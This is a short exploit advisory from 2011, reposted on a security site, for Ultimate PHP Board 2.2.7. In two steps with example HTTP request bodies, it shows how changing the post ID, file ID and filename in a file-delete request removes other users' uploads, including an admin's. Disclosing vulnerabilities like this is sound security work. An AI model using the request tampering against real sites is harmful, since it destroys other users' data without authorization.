Ultimate PHP Board 2.2.7 – Broken Authentication and Session Management - 体验盒子

作者： i2sec

日期： 2011-05-20

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# Exploit Title : Ultimate PHP Board 2.2.7 "Broken Authentication and Session Management"

# Date : 2011.05.17

# Author : i2sec - Gi bum Hong

# Software Link : http://sourceforge.net/projects/textmb/files/UPB/UPB%202.2.7/

# Version : 2.2.7

# Tested on : apache 2.2.14 | mysql 5.1.39 | php 5.2.12

This Vulnerabibity Web base on "Broken Authentication and Session Management".

This attack can delete another user's(ex.admin) upload file.

step1.

Analyze request message of file delete using Paros Tool.

ex) http-request-message body : ~&postid=2&~~&threadid=1&divname=1-1-2-attach&fileid=3&filename=file.txt~

step2.

Change request message to attacking file's post ID and file ID/name.

ex) http-request-message body : ~&postid=1&~~&threadid=1&divname=1-1-1-attach&fileid=2&filename=account.txt~

Full Advisory: http://www.exploit-db.com/docs/17307.pdf